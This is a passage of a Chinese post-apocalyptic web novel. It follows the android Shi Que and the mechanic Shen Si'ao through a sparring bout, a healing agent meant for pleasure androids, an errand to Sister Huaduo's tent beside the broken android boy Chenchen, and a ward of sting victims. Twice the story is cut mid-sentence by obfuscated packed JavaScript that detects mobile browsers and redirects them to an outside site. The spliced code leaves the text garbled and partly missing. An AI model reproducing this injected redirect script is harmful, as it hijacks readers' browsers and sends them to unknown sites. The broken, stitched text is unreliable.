随即,他便被身后的时却一膝盖顶在膝窝上,差点没扑通一声跪下。 “说起来,还没自我介绍过,”机械师继续道,“我是方文文。” 沈司奥礼貌性地社交,点点头:“你好,方文文。” “嗳,沈司奥,”方文文眯起眼睛笑道,“蝴蝶到底什么来历,你们怎么搭上的啊?” 方文文说着,就要作哥俩好状去搂沈司奥。 沈司奥不动声色地往旁边挪开一步,为显得动作自然,弯腰从武器架边上的功能饮料箱里捡出一瓶,拧开喝了。 他转过眼,不知为何,方文文再次愣愣地张大了嘴。 沈司奥:“?” “这,”方文文目瞪口呆,“这东西贵得很,老大还宝贝,壁虎取几瓶就得给老大付几瓶的钱,他居然肯让你拿?不是,他眼里居然能看到你?这太爱屋及乌了吧!” 沈司奥:“?” 他觉得,方文文实在通晓说话的艺术。这话让人一时间竟不知道该怎么回。 虽然壁虎眼里没有自己是板上钉钉的事情,不过要本人承认这种事情,多少有点离谱和伤自尊了。 年轻的机械师想了想,冷静地回道:“不要乱说成语。” ……时却于百忙之中抽出了空来,听到沈司奥的这句话,脑袋上几乎要具现化出“???”。 随即,她一个不察,被壁虎抓住后脖颈,脸朝下直接呼到八角笼中的地面上,五官差点被砸扁。 堪称一个历史重演。 竭力脱困后,她评估了一下自己和壁虎当前的状态,冷静地提出,要不今天就到此为止好了。 “我看你鼻青脸肿的,”时却认真地说,“今天先这样吧。” 壁虎顶着鼻下的血痕,严肃地点点头。“你也差不多,今天到这里就行。” 二人握了握手,结束友好的陪练。 他们从八角笼中走出,壁虎招手叫方文文到跟前,面无表情地给了方文文一个暴栗,并将他的头发揉成鸡窝造型。 时却步履自然地和沈司奥会合,然后转身,呼出投影,调整为摄影模式,问壁虎介不介意她拍个照片以作留念。 壁虎:“……” 蝎子的二把手往后捋了捋他的板寸——哪怕这种发型根本没有梳理头发的空间。 “介意,”他冷静地说,“告诉蜥蜴,我等下去揍她一顿。” 时却:“……好的。”蜥蜴,你自求多福。 壁虎穿上外套,让方文文打开治疗仪依次往自己脸上和身上照,并问时却要不要用。 “当然了,得自费,”他耸肩,“钱你直接打给蜥蜴就行。” 时却和沈司奥对视一眼,沈司奥道:“不用,我们一会自理。” 壁虎并不强求,给时却转去今天的陪练费。 “没别的事情,你们可以走了。”他道。 事实上,时却还真有两件事。 她首先询问壁虎,昨夜黑蝎驱逐缓冲点边缘紫蝎的事情,和蒋云霞队友的遭遇是否有关。 她需要从壁虎口中得到较为权威的回答。 顺势,她还想起一件事。 “出区的第一晚,我还在缓冲点边缘看到一个战斗仿生人,他的手腕上有古怪的红痕。” “那晚的几个小时前,在变异狼的身上同样有五成相似的伤口。你应该知道仿生人的事情,也见过变异狼身上的伤口吧?这两者有关联吗?” 在治疗仪的作用下,壁虎脸上的伤势迅速愈合。 他迟疑了一下,言辞含糊地告诉时却,这些事情可能有所关联,罪魁祸首涉及到一种新变异生物。它不在管理局地图的记载内,可能于接下来几天的行程中让大部队产生伤亡。 蝎子内部还在讨论对其的策略,他不方便透露太多。 接着,壁虎告诫,后面如果在缓冲点内扎营,时却最好远离边缘地带。 如果和今天一样在林中扎营,应尽早到帐篷里休息,拉好密封的拉链,不要在外头乱晃。 在能向自己透露内部消息这件事上,时却郑重地感谢了壁虎。 “听说还有其他被蜇伤的人,”她说,“他们被集中看管起来了吗?” 壁虎拍一下方文文的肩膀,后者露出一脸“要加班”了的表情。 “他们是被集中看管起来了。有兴趣的话,处理好了伤,再找方文文带你去看看。” “没问题?不是蝎子内部还没讨论好?” “这点程度不要紧,”壁虎道,“只是对策没讨论好,到时候大概率还要征集紫蝎帮忙,早晚你们会知道的。还有别的事情么?” “最后一件事,”时却斟酌了下言辞,注视壁虎,“我想确认,前天晚上粉色泡泡浴那个男孩给你的终端……你有没有作进一步确认,里面的内容是否有改变你对他的态度。” “哦?”壁虎意味不明地上挑眉头。 他盯着顶了鼻青脸肿的面庞也要问这种事情的时却,嗤笑一声,用谈论一件无足轻重之事的口吻说: “那男孩命大,这事到此为止。蝴蝶,我看好你,你很强,既然你今天这么关心他,我会在原本打算给他的赔偿金上,再多加一笔钱。” “不过,我要给你一个忠告。”壁虎加重语气。 “蝴蝶,人人都能有尊严地活着的时代,是辐射以前,不是如今,更不在如今的区外。” “好好想想,不要太天真,否则总有一天,你活不下去。” 49. 干预剂 沈司奥和时却进入帐篷前,天空呈有些明亮度的深灰色;待他们离开帐篷,穹顶暗沉为密不透光的黑。 方文文对他们说,扎营地的事情在过去几十分钟内已处理完毕。摩托这类小型机动车,允许被推入集中休息处。当然,想和大车一起停放路边也可以。 依旧淅沥的雨水打在重新戴起的防水面罩上,空气潮湿且冰冷,时却抬头,入目一望无际的暗沉。 今夜无星无月,唯有蝎子架起的户外灯奋力提供点点光亮。 由于陪练过程中的受击,时却的肺部内充斥挥之不去的浅淡铁锈气,随呼吸令她饱尝血的滋味。 她的面庞和躯干多处传来可以忍受的疼痛,伴以微微发热。 “搭帐篷去,”沈司奥说,“然后看看你的伤怎么弄,想用速合剂,还是让老金给你租个治疗仪?” 时却马上听出这是机械师在外头才会的鬼话。她这副仿生人躯体,速合剂能派上用场就有鬼了。 她睁着眼睛说瞎话,应和道:“速合剂。” ……自苏醒以来,时却不是没受过会显露于外的伤。 绞肉场里打最后一场时,有个重赏之下站出来的勇夫划了她不少刀,那些伤口在她离开绞肉场时,无比仿真地结了血痂。 后来,时却留意过这些伤口的长势。 当日,它们还属于正常形态,第二天,它们以一种人类所不能及的速度飞快愈合,对应的肌肤处光洁平整如新,没有任何疤痕留下。 于是那会她就想着,等真受伤了,再和沈司奥商量此事也不迟。 毕竟,这个世界存在速合剂、治疗仪和治疗舱这种玄幻的医疗手段,她的愈合速度有一段符合人类认知的正常时期,就很方便,可以给做手脚留下充足的时间。 哪怕路上受伤,只要借口用医疗手段进行过治疗,叫人生疑的几率能大大降低。 现在看来,沈司奥一样早预料到这样的情况。 和方文文加上终端好友并约好稍后见面,二人原路返回。 扎营地边的路比今日行过的大部分道路都宽,车辆被排成两列,一列车占据路宽最左的三分之一,另一列车相对最左那列车交错,相对稀疏地排成一列,占据路宽的最右。 每辆车内空落落的,车与车的间距均十分合理。 有突发情况时,只要同一时间没有过多车辆试图抢道,蝎子的布置足够大部分车飞也似的蹿上路中央,绝尘而去。 每几百米,便有无人机懒洋洋地巡回,机翼击打出飞溅的雨水。时却和沈司奥行至车队尽头,熟悉的箭头指示牌等着他们。 他们赶到集中休息处,挑了个紫蝎区域中心的位置搭上帐篷,钻进去。 沈司奥放下行李背包,弯腰翻找。趁他在忙,时却给细雨发去消息,询问晚上接他的时间,细雨暂时没有回复。 沈司奥摸出支药膏似的管状物,银色包装,上面没有任何标识。 “这是什么?” 沈司奥示意时却伸一只手出来,时却下意识伸出右手。 陪练时,她的右手腕不止一次被壁虎大力抓握,以便他反拧她的整条胳膊,将其牢牢压制在后背上。托壁虎的福,战斗结束后,她的腕部红肿得极厉害,较正常状态膨大上一圈。 沈司奥拧开管盖,挤出一点无色无味的芦荟胶似的物体,轻轻点在时却红肿的右腕一处,缓缓揉开。 轻微的凉意顺着机械师的指腹散开,几个呼吸过去,那被涂覆上药膏处的红肿迅速消退。 不光皮肤的外观恢复正常,肿痛发热感一样消失无踪。 沈司奥把药膏递给时却,让她自己涂,转过身盘腿坐下。 “你的外伤在保持一段时间正常的伤口形态后,会直接愈合,”沈司奥说,“那是一种属于情趣型仿生人的设计,有利于维持……一些有特殊爱好的客人的兴致。” 时却自己抹起药来,嗯了声以作回应,示意他接着说下去。 “对于需要进行色/情营业的组织来说,一旦前一位客人离开,留下的痕迹越快恢复如新越好;所以,情趣型仿生人的外在和性/器官通常经过特殊的设计。” 时却挤出一大坨透明胶状物往脸上糊,边抹匀,边静静地听。 沈司奥顿了顿,继续道:“情趣型仿生人会正常地受伤,形成伤口,如果不干预,这类仿真进程能持续的时间是数小时到一天不等,看出厂设定。” “如果有需要提前结束这个进程,就得用我刚才给你的东西,它叫干预剂。仿生人内部设有用于管理外形的模拟器,干预剂能给模拟器发去对应的信号,让模拟器立即回复对应区域的皮肤状态。” 哦,时却明白了。某种程度上,干预剂就是个方便快捷的刷新遥控器。 她潦草地再挤了点这恶心的胶状物出来,敷衍着用掉。 “可以了。” 沈司奥转身,见时却露出衣服外的脸、脖子和双手上的打斗痕迹消失无踪。 “你身上不可能没事,”他皱了皱眉,“怎么不——” “其他地方我忍忍就行,反正不影响行动。省着点用。”时却打断他,抛回干预剂。 沈司奥接住干预剂,隐晦且仔细地打量面前高大的女仿生人。 他清楚刚才从自己口中吐出的描述,很可能膈应到对方。 毕竟他描述的是她这具身体本该遭受的,是她名义上的同类于过去、现在和未来一直、正在和即将遭受的事情。 沈司奥试图从时却的神情中找到些许端倪。 也许是一些具有深远意义的触动,或可能是些更具危险意味的抗拒、厌恶。 ……他没探寻到很特别的东西。 时却看上去最多有点儿意兴阑珊。 “细雨没回消息,”女仿生人嘀咕,“先找方文文去?” 沈司奥将干预剂放回原位,背对她蹲在背包前,低垂眼睛,手指搭在冰凉的背包拉链上捏了捏。 一如既往地,他说:“好”。 * 一个巴掌拍不响。沈司奥和时却准备好没有用,方文文那边掉链子了。 他在终端里理直气壮地说,自己被蝎子内部的杂事绊住了。 问他什么时候能解决完,这人甩出一串车轱辘话打哈哈,大意是活儿来如山倒,杂七杂八的,鬼知道要干到什么时候。 东扯西扯数句,他发来一句话:【要不你们帮忙跑个腿吧,解决点我的负担,我好尽快来和你们会合^0^】 时却问这个腿要怎么跑,方文文表示很简单,蜥蜴那有本书,他们去取了,转送到花朵姐手上就行。 话说到这,时却明白过来,终端对面的机械师图穷匕见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120357|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么忙得很,他单纯不想和花朵姐打交道而已。 时却联系上蜥蜴,后者同样这么想。 蜥蜴在终端里给时却回以一个表情包,图像的上部是“有人又破防了”四个字,下面是方文文翻白眼的神态。 末了,她分享了自己所在位置的定位。 时却和沈司奥往对应的方向走,途中看到沉默伫立在雨中的箭头指示牌,显示他们正往黑街去。 他们很快进入黑街。下雨加林中情景下的黑街,和以往稍有区别。 蝎子砍了些树,勉强凑出几块还算空旷的地方,蓝蝎们迅速将其占据。 大中小型的遮阳芳伞各自为政地在此绽放开,倾斜的雨打得这些伞具的插入湿润泥土中的支柱湿漉漉的,仿若于夜色中出了一身冷汗。 雨具加身的顾客在此处游来晃去,在摊位之间翻找自己所需的商品,因讲价和扯嗓子问询而吵吵嚷嚷,形成此起彼伏的喧哗声音。 托定位的福,时却和沈司奥毫不费力地找到蜥蜴。 她站在一名蓝蝎跟前,蓝蝎面前为铺在草地上的防水布,上面五花八门什么都有,零食、子弹、小型车部件……甚至还有几本装订简陋、封面略微破损的册子。 蜥蜴朝二人招手,她挥动着的戴了防水手套的手里拿有东西,那正是一本册子,不难推断,应该是她在蓝蝎的摊位上买到的。 走近些,时却看清那册子的封面印有《复仇诗集》四个字,还蛮有杀气。 经过一番简短交谈,时却得知这竟是壁虎一直想买的诗集。 蜥蜴说,十几分钟前,她得知方文文要带时却去集中休息处附近,就找上他,让他帮忙把书送到灰蝎的花朵姐去,这样壁虎今晚回花朵姐那休息时便可以见到这本书。她还有别的事情处理,得雨里来雨里去的,不方便携带纸质的东西。 不想方文文摆烂,兜兜转转,这差事被推到时却身上。 这个来龙去脉,时却理解是能理解没错,就是壁虎居然爱读诗这事,叫她大感反差。 “觉得很突兀对不对?” 仿佛看出时却的想法,蜥蜴噗嗤一笑。“有砂锅那么大拳头的壁虎,竟然喜欢这种文绉绉的东西。” 她还想和时却多说两句,手腕上的终端催命似的闪闪发亮,嗡嗡不停地疯狂振动起来,打断她的话。 她低头戳几下终端,脸瞬间垮下来。 “耽搁太长时间,要迟到了。啧,高低得给方文文记一笔。我先走了,花朵的位置发你了啊……蝴蝶,下次卖猎物喊上我,我给你压阵!” 她摆摆手与时却二人告别,跑入为灌木丛侵入两侧的小径里,几个闪身消失在树影之间。 接下了跑腿任务的沈司奥和时却无奈上岗,准备遵循定位,进入集中休息处中灰蝎所属的区域。 临走前,时却瞥了瞥那蓝蝎摊上剩下的几本册子,其中有一本是小说,叫《爱情之盾》,四个书名下是一行稍小的斜体字: “我凭借对你的感情对抗世界” 看上去是本平平无奇言情小说。 它让时却想起细雨还没回消息,以及他今晚还要带小说来分享的事情。 时却对此类题材的文学作品提不起兴趣,不过要陪细雨打发时间的话,那未尝不可。 毫无留恋地从那本小说上移开视线,她和沈司奥离开。 50. 情况 如果需要总结对紫蝎集中的扎营区域的印象,时却将罗列出以下三个词: 警惕、疲惫、习以为常。 大多数紫蝎惯于警惕任何靠近和打量自己的个体;疲惫于睁眼在林间搜寻、狩猎,闭眼担忧明日、辗转反侧;习以为常于任何严酷之事,无论它发生在谁身上——这个“谁”,自然包括紫蝎本人。 而倘若得凝练下对灰蝎集中的扎营区域的印象,时却束手无策。 灰蝎是黑蝎的家属,这个集体里不乏男女老少,组成极为复杂。 顶着若干战斗型仿生人毫无感情的打量,时却和沈司奥行走于灰蝎的帐篷之间。 有青年或阴沉或机敏的目光在他们身上萦绕不去。 那其中蕴含的警惕和敌意,较大部分紫蝎日常对外展露的水平来说,不值一提。 二人路过几个靠得极近的帐篷边,各有年纪很小的男孩女孩做贼般探出头,雨帽下黑白分明的眼睛好奇而非恐惧地注视时却,略带兴奋之情,仿佛很有兴趣,试图研究这个高大的、似乎有点凶恶的陌生人。 不过,他们的最终目标并非时却。 没等她走到他们跟前,这些孩子如一颗颗小炮弹般冲出,初生小鹿般欢快地在草地上寻找起水坑,每找到一个,便呼朋引伴,踢踏着五颜六色的雨靴调皮踩水。 好景不长。不出十秒钟,这帮毫不遮掩的童子军惨被自家长辈发现。 “不听话!不要命了!” “什么时候玩水不行!” “找揍,快滚回来,平时惯得你们!” 紧急披上雨衣的大人们高声呵斥着钻出帐篷,收着力气一巴掌拍在这些小不点的雨披上,在星点的水花四溅中,扣住这一个个顽皮鬼的胳膊,火冒三丈地将他们拖回临时的家去。 时却和沈司奥继续走,熊孩子遭打屁股而发出的哭叫声被他们抛在身后,逐渐远去。 邻近花朵姐所在的定位时,时却瞧见有个宽大的充气帐篷,门帘高高卷起,如同显露要害般洞开自身,露出它的主人——两名正坐在轮椅上,边观雨边闲聊的老人。 老人们没穿雨具,头发花白了,皮肤是那种典型的老人形态,满是褶皱和斑点。 她们的腿上盖厚厚的毯子,脚边摆了几个红亮的鸟笼型取暖器,精神还算矍铄。 按理说,除尚不知事的孩童,应该不会有人愿意对与辐射融为一体的死亡之雨投以注视。然而,事情就是这么自然地发生了。 一个战斗型仿生人路过,冷淡的视线在时却和沈司奥身上略一停留,转脸向那两名交谈中的老人。 “需要为你们拉好门帘吗?”他问。 “不要,看看雨嘛。”其中的一个老奶奶笑呵呵地说。 另一个老奶奶鬓边的银发时髦地挑染了一点黑色,她不耐烦地挥手赶仿生人:“走开走开,傻货,别挡了。” “你们还不愿意我在帐篷里待机吗?”仿生人又问。 两位老人对视一眼,不约而同露出略带了点嫌弃的神情,异口同声说不用。 “好的。根据最新设定,我被禁止十分钟一次地询问你们是否需要关闭门帘,这应该不会烦到你们了吧。”仿生人说,“那么,二十九分钟三十一秒后,我会再来问你们一次。” 两位老人:“……” 笑呵呵的老奶奶颇为头疼地龇牙,以手扶额,眼角余光留意到时却和沈司奥。 “喂,那两个年轻人,”她咧咧嘴,露出没剩几颗牙的齿,“这里难得看到紫蝎,你们有什么事?” 时却和沈司奥停步。挑染黑发的老人一拍巴掌,中气十足地喊: “啊!那个凶着脸的,我认识你……蝴蝶,对吧?不错,真人还算顺眼。正好,帮忙折点树枝来怎么样?我们两个老货想玩树枝平衡桥有一会了!” 沈司奥看时却一眼。 时却忍住抓头的冲动——穿着雨具不方便做这个动作。 她好脾气地几步跨到一颗有细枝伏低的树下,咔嚓咔嚓折下不少树枝,尽可能甩去雨水,走过老人的门帘下,放在两人之间架起的一个折叠小桌上。 做完这一切,她顺便迟来地回答先前那位笑眯眯老人的问话。 “我找花朵姐的帐篷。” 笑眯眯的老人哦了一声,从兜里摸出把糖果递给时却,和蔼地说这是她帮忙找树枝的报酬,她们本来就打算等有人路过时求助,只是下雨,迟迟没等到合适的过路人。 时却收下糖果。 一来一往后,老人们告诉她,树枝平衡桥是将一根树枝作底,拿其他短些的树枝轮流往上放,看谁往底物放树枝时,树枝掉了下来,谁就输一轮。 尽管心知有些突兀,时却忍不住好奇,问两位老人,既然雨里有辐射,天还冷,她们为什么不拉下门帘,待在温暖封闭的帐篷里。 “区里看不到这种雨景,想得慌。” 挑染黑发的老人无所谓地捏起一根湿漉漉的树枝,放在鼻下轻轻嗅闻,斜眼道。 “何况一只脚踏进棺材里的人了,谁还在乎辐射和第二天的太阳。” “总之谢谢你的树枝,蝴蝶。你和想象中一样,”笑呵呵的老人说,“绕过前头的绿色那个帐篷直走,帐篷门帘上带朵花的,就是花朵的帐篷,去吧。” 时却再一次地想挠头。她没说什么,也不知道该说什么,点点头从两位老人的帐篷里退了出来。 背对离开几步,她小声问沈司奥,是否知道两位老人是谁。 “蝎子前中高层之类的?”沈司奥若有所思,给出猜测。 这个意外小插曲后,再无波澜。 雨仍旧没停。防水面罩上,几颗水珠靠吞吃同伴逐渐壮大,汇聚成股,再蜿蜒盘旋而下。 时却和沈司奥顺利来到花朵姐的帐篷前。 这帐篷呈长条形状,至少占地十几平米,共有前后两个进出口。 打量一番后,沈司奥说:“不是做过隔音处理的类型。”言下之意,正常说话就行。 时却叫了声花朵姐,里头果然传来回应,让他们从其中一个进出口入。 掀开门帘,暖意扑面而来,二人的防水面罩霎时蒙上一层浅淡白雾。 不可避免地,因一路冒雨,他们一进来,脚踩在光洁平整的帐篷地面上,直接留下一滩水迹和对应脚印的污渍。 时却脱下防水面罩,首先被位于头顶前侧的一个喇叭型机器吸引注意力。 它竟是个被悬吊着的暖风机,看上去极轻,她所感受到的异于外头的暖意正由此而来。这温暖轻易将帐篷和外头区分为截然不同的两个世界。 大体上,帐篷的内部被分为了两个区域,中间以两片式的米色挂布间隔,挂布垂至距离帐篷底面仅几厘米,影影绰绰可见到其后铺设的气垫床轮廓。 花朵姐着一身在外稍显单薄,不过现下刚好适宜的浅棕色针织长衣长裤接待二人。 ……其实,用“接待”二字形容,不太合适。 准确地说,更像是时却和沈司奥打扰正有事干的她。 一头长发拢在脑后扎成低马尾,没化妆的花朵姐弓身窝在一个靠背座椅内,旁边平躺着闭眼的晨晨。 晨晨甚至还是前天晚上的模样和着装。 他的白衣上,于心脏部位处晕开来一团仿真血迹,因时间流逝而氧化,呈令人生畏的深红褐色。 他的脸上和衣物上还有着诸如泥土和草茎等脏污痕迹。壁虎曾给他披上的外套皱巴巴地团在一旁。 晨晨没被动过,他的时间仿佛定格在了前天夜晚。没人给他擦去皮肤上的污渍,换掉染血的衣服,为他收拾他自己。 时却强令自己看向别处。 比如,这不大不小的空间内,还有个引人注目的硕大全息投影浮在花朵姐面前。 花朵姐没开隐私模式,叫时却和沈司奥得以清晰瞧见其内容。 那是一行行悬浮在半空中的代码,恍惚中给人种那是根根被抻直了的绳索之感。 这些代码令时却倍感眼熟,定睛细看,她方觉出缘由: 原来,在多数代码行的某些区域中,字符与字符之间的间隔呈令人不适的忽远忽近。 就好像在那些间距远的区域中,实则原来是有占位符的,不过因为某种原因消失了而已。 ……正如前天晚上,晨晨失控前,沈司奥调试的那些代码。 不,应该说,这些代码八成就是小仿生人晨晨的代码。 时却身边,沈司奥的呼吸声由平缓骤然变得有些不稳。 机械师显然也发现了这一点。 半空中,于成篇代码的末尾处,光标闪烁,昭示给它的看客一件事:某种自动程序正在运行。 只是,这自动程序似乎运转得并不顺畅。 如因淤满垃圾而流水艰难的河道,如一只腹部莫名抽搐的猫,光标每秒钟吐出的字符长度不等,且颇为卡顿。 “我们来送书。”时却道明来意。 花朵姐礼貌性地笑笑,以示回应。而在嘴角的弧度变平前,她的视线早一步移开,显出主人对此并不在意的心态。 “丢边上就可以。” 闻言,时却将册子丢向距离晨晨脚边还有一段距离的地方。《复仇诗集》落地,发出干巴巴的啪的一声。 她做完这个动作,花朵姐瞟一眼那本《复仇诗集》,再看二人一眼。 “说起来,晨晨这孩子不好弄吧,之前真是麻烦你们了。好在事情总归有了结果。”依旧是得体的口吻。 鬼使神差地,时却脑中闪过所见的晨晨的记忆。 一时间,她没法把那个穿着发白T恤的瘦弱女孩,和眼前客气而疏离的女人联系在一起。 真假混淆的记忆显示,花朵姐少年时尽心尽力地回护弟弟,花朵姐为供养弟弟而放弃学业进入蝎子的赌场当荷官。 现实里,初见花朵姐,她十分惶恐作为仿生人的晨晨锚点不稳;再见花朵姐,听沈司奥说难以挽救,她如梦初醒般态度急转直下。 如今,她摆出了一幅并没有发生过任何事情的模样。 时却略有点儿急促地吸了口气,胸中燃起一点怒火。 在头顶上暖风机吹出的热风下,这怒火如星火燎原般,可预见地将很快形成不断上升的、扭曲跃动着的火舌。 她将手探进雨衣内,摸入一个贴身带拉链的兜中,掌下传来几处粗糙带点扎人的手感。 那是三个半的草戒,一个是晨晨编的,另外一个半是同一晚她编的。 时却再次去看晨晨,后者的情况可一言以蔽之:脏兮兮的人造物平躺在光洁平整的人造物上。 男孩模样的仿生人身处在舒适温暖的帐篷里,看起来却和脸朝下埋进野草与泥土里那会没什么两样。 说话要看对方的眼睛是种社交礼仪。花朵姐很好地做到了这点,而时却当下做不到。 受无由来的怒气所控,她试图从晨晨身上撕下自己的目光,失败,失败,失败。 如果在玩跑团游戏,基本上是接连投掷出大失败。 她听到自己发出平静的声音:“那个,花朵姐。” “嗯?” 美丽而苍白的花朵姐遵循社交礼仪地语调上扬,嘴角微扬,眼睛的轮廓形状却冷淡地一成不变。 “我有点好奇……” “好奇什么?” 自己在发什么神经,只有基本可以算是情商低下的家伙,才会想说这种话。时却想。 女仿生人略有点儿急促地吸了一口气,重复道:“我有点好奇……” 花朵姐似是觉察出什么,嘴角的弧度迅速变为平直。但她仍然耐心地轻声重复:“好奇什么?” 用去很大力气,时却终于还是将目光从晨晨身上撕下,看了一眼花朵姐。 然后,她惊奇地发现,此时此刻不笑了的花朵姐,拉下脸来的花朵姐,其实还是有几分像晨晨记忆里的姐姐。 毕竟,那个记忆里的女孩也不怎么笑。她的生活里没什么能让她该笑出来的要素。 霎时间,时却胸中不断蹿长的怒火如同被断绝了氧气来源,猛地被冻结。 她不知道自己刚才怎么了。 对于花朵姐而言,她和沈司奥可算作陌生人。对于自己,花朵姐也几乎是个陌生人。 哪怕对于晨晨,无论是作为仿生人的晨晨还是作为人类的晨晨,她同样不敢打包票自己有多了解。 那一晚,也许她的确窥见了些真实的陈年往事,又也许她只是管中窥豹。 时却话到嘴边,绕了个弯。像个智障一样,她干巴巴地说: “我能不能给晨晨擦擦脸。就是,呃,我还挺喜欢他的。” 花朵姐:“……” 沈司奥:“……” 结合上下文,花朵姐缓慢地眨了眨眼睛,面色奇异地重复拼合起时却的上下文: “你好奇,自己能不能给晨晨擦擦脸?” “……” 花朵眼见着,高大的紫蝎点点头。 这只有两面之缘,借由仿生人无疑窥探得她部分隐秘的女人,是认真这么想的。 哪怕前一秒对方还谴责她,眼神的温度比外头呼啸的寒风更为冰凉。 花朵好似个站上了蹦极台的人,做好承受巨大失重和下坠感的准备,后背遭重重一推,却发现自己踉跄向前一步,只下了十五厘米的高度。 十五厘米,标准的一级台阶,属于一岁半到两岁的小孩能征服的范畴。 ……也不知道眼前这个紫蝎,为什么要作这种无用的体贴。 花朵因为这荒谬的落差笑出了声,眼角甚至吣出一点晶莹的泪水。 “行。” 她抚了抚胸顺气,平复呼吸,离开悬浮于半空中一直自我增长的代码,随意找出块毛巾和半瓶喝过的水丢给时却。 “我无所谓。” ……既然主人说不在意,时却自然照单全收。 她脱去雨披和手套,蹲下,扶起晨晨的上半身。在外力作用下,小仿生人冰冷的躯体迟滞地从动,绵软的胳膊无力地滑落至躯干侧。 孩子的脸不过巴掌大小,时却很快搞定,觑一眼花朵姐,又掸了掸晨晨衣服上的尘土。 白衣脏掉的痕迹自然不会这么轻易被消除。不过她自觉小仿生人看上去好上了不少。 见花朵姐依旧没什么特别表示,她问:“我还是让晨晨躺着吗?” 花朵姐看上去就像被问了个“你家摆件我擦干净了怎么放”一类的问题,撂过鬓边一缕散下来的碎发,拢至耳后,平淡地说:“随便。” 晨晨距离帐篷的一个充气支柱不远,时却抱他过去,改换他的姿势,使小仿生人变为背靠支柱,头向后靠,盘腿坐着的姿势。 她捡拾起团在地上的那件壁虎的外套,披在晨晨身上,遮住他前胸的血迹。 一切做完,她退回帐篷门口。 “你把这儿弄得一团糟。”花朵姐说。 时却低头瞅瞅因自己的行走而踩脏的地方,有点尴尬地抓抓脸,正想说些什么,许久不出声的沈司奥开口。 “我给你个意见,就当替她赔罪,怎么样?” 帐篷内另外两人的目光全数集中在沈司奥身上,沈司奥看向花朵姐身前的代码投影。 “最初调试晨晨的人可能……给过你一些用来简单设置晨晨行为的程序。”机械师推推眼镜。 “他应该没告诉过你,仿生人的驱动电源被破坏后,剩下的备用电源最好只用于维护仿生人体内的重要器件不发生锈蚀等异常。这种时候……试图消耗备用电源去导出仿生人的行为程序,甚至试图修改程序,并不理智。” “我知道,方文文和我解释过了,”花朵姐平静道,“不过这种情况下的仿生人能进入以一种‘安全模式’运行,执行诸如打招呼和端茶送水之类的最基本指令。我说的没错吧?” “这趟旅途还有几天,备用电量完全够用,我就想让它天天能动上一动,比如扑上来开心地叫我姐姐之类的。谢谢你的建议,沈司奥,但一个弟弟死了很多年的姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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围网四周,有数个全副武装的黑蝎和战斗仿生人。方文文的存在,使得时却和沈司奥轻易穿过他们,顺利进入围网内部。 围网内停有一辆重卡,车厢部是一个硕大的集装箱。 集装箱的入口垂下透明且厚重的软玻璃门帘,露出其中草草铺就的数个折叠气垫床。 大部分床上躺有昏睡不醒的人,一个穿白大褂的黑蝎在把椅子上坐着打瞌睡。 方文文掏出一根烟,用嘴巴叼住,没点燃。 “乖乖,真不想进这里。”他咕哝着,带时却和沈司奥走了进去。 穿白大褂的黑蝎惊醒,见是方文文,朝他翻了个白眼,熟稔地朝他伸手。 方文文再掏出一根烟丢给她,后者和方文文一眼,将烟纯含进嘴里,同样只干过瘾,不点燃。 时却认识这黑蝎,她是近来几天负责医疗点的工作人员。 黑蝎毫不掩饰地打量时却和沈司奥,口中发出含含糊糊的声音:“带人来观光啊?” “壁虎让他们来转转。” 黑蝎抽出嘴里的烟,滤棒部分被她咬出几道齿痕。她嗅了嗅烟尾,将烟挂在一边耳朵上。 “看吧,有什么想问的就问。先说好了,我可不是医生,这身白大褂没有含金量。” 时却数了数,此处的床位共七张,五张上面各躺了恹恹的病人,所有病人都由厚实的黑色睡袋跟包粽子无异地裹着—— 等等,不是睡袋。定睛一看,时却不由得眉心一跳。 什么“厚实的黑色睡袋”,那是中午她才见过的,火化处用来装蒋云霞队友的那种裹尸袋。 ……病人之中,三人睡着了,两人清醒。 睡着的三人均不安稳,一人满头大汗,一人不断呓语,一人的眼球在眼皮子下乱转。 两个清醒的人里,一人不断地打着寒颤,剩下的一个皮肤潮红,呼吸急促,看上去神智并不清醒。 时却探了探那睡着了但仍满头大汗的人的额头,滚烫。 “他们哪里被蛰?” “这五个吗?”黑蝎说,“一个脚踝,四个腿后。我找找照片。” 她摆弄了下终端,呼出投影至半空中,放大一张照片。 “脚踝那个,昨天晚上的情况。” 照片上显示出从人后侧拍摄的一只脚踝,内踝和外踝中间的区域凸起一个鸡蛋大小的肿包,看上去是实心的。 “看好了,下一个哈。” 黑蝎滑动照片。“这是今天中午拍的。” 第二张照片仍是这只脚踝,肿块的大小没变,质地诡异地变得更透明了些,介于实心和被火撩过的大水泡之间,隐约可见其内积蓄起混黄色的脓液。 “这是大概十五分钟前。” 肿块的表皮完全溃烂掉了,仅残余周边几块,要掉不掉地松垮地连着周边的正常皮肤;浑浊的黄色脓液凝结着,形成肿块的新表面。 “我们有一台带诊断和血检功能的治疗仪,它给出的治疗方案是尝试吃抗生素或消炎药,没用,”方文文补充道,“病急乱投医,速合剂和治疗仪本身也挨个试了试,不行。区外的条件太受限。” 黑蝎用气音说:“基本上只能等死。不过看个人体质,有的人早点死,有的人晚点死而已。大概抵抗力好的人,能多撑会。” 随后,四人看完了在场其余人的照片。 “恶化的进程都差不多。”黑蝎小声道,“出现红肿块,过上几分钟到几小时不等,发高热;高热中,红肿块化脓,溃烂;再几分钟到几小时不等,器官衰竭,死亡。” “哦,对了,不少人在器官衰竭前还会短暂地回光返照,今天就有个人变了疯狗,暴躁得很,最后不得不捆起来,绑了没一会就死了。” 这描述令时却一激灵。她指向帐篷里的两张空床:“这上面的?” 黑蝎摇摇头,“不止一个床位上送走过人。” 